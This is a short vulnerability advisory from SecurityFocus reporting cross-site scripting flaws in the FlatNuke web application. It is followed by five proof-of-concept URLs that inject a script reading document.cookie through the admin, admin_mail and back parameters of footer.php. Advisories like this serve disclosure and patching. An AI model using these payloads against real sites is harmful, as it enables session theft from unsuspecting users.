source: https://www.securityfocus.com/bid/14483/info
 
FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. 

http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script>